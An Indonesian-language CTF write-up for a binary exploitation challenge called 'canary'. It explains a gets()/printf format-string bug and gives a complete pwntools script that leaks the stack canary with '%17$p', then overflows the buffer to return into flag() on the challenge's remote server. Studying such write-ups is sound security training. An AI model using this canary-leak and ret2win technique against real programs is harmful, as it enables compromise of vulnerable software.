Diberikan sebuah binary dengan konfigurasi sebagai berikut:
Berikut adalah list dari semua fungsi pada binary:
Berikut adalah pseudocode dari fungsi yang memiliki celah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
unsigned __int64 greet() { char format; // [rsp+0h] [rbp-60h] char v2; // [rsp+20h] [rbp-40h] unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Hi! What's your name? "); gets(&format); printf("Nice to meet you, "); strcat(&format, "!\n"); printf(&format); printf("Anything else you want to tell me? "); gets(&v2); return __readfsqword(0x28u) ^ v3; } |
Dilihat program menggunakan gets() yang memiliki kelemahan buffer overflow dan printf(&format) memiliki kelemahan format string attack. Tujuan dari soal ini adalah untuk memanggil fungsi flag(). Namun dari nama soal dan konfigurasi binary, terdapat stack canary yang diketahui dapat menjadi proteksi terhadap stack smashing. Lalu bagaimana kita dapat melakukan buffer overflow jika terdapat canary? Stack canary berisi sebuah value, yang biasanya diakhiri dengan 0x00. Jika terjadi buffer overflow pada program, maka akan ada value yang berubah, Saat value dari stack canary itu berubah, saat sebelum RBP, canary akan di compare, dan jika berbeda, program akan exit dengan error message “stack smashing detected”. Jadi yang bisa kita lakukan untuk buffer overflow adalah dengan memastikan canary value akan tetap sama agar bisa melewati compare. Lalu setelah itu kita bisa melakukan teknik ret2win untuk menuju ke fungsi flag(). Berikut script yang digunakan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
from pwn import * ''' The attack pattern is as following: - Fill the buffer - Substract the buffer size with the canary size - Overwrite RBP - Set return address to flag() ''' def exploit(): elf = ELF("./canary") flag = elf.symbols['flag'] r.recvuntil("name? ") # Leak canary with Format String r.sendline("%17$p") canary = int(r.recvuntil("!").split(" ")[-1][:-1], 16) log.info("Canary: {}".format(hex(canary))) log.info("Flag: {}".format(hex(flag))) # Fill the buffer payload = "a" * 56 # Canary payload += p64(canary) # Overwrite RBP payload += "b" * 8 # Call flag function payload += p64(flag) r.sendlineafter("Anything else you want to tell me? ", payload) r.interactive() #r = process('./canary') r = remote("shell.actf.co", 20701) exploit() |
Flag: actf{youre_a_canary_killer_>:(}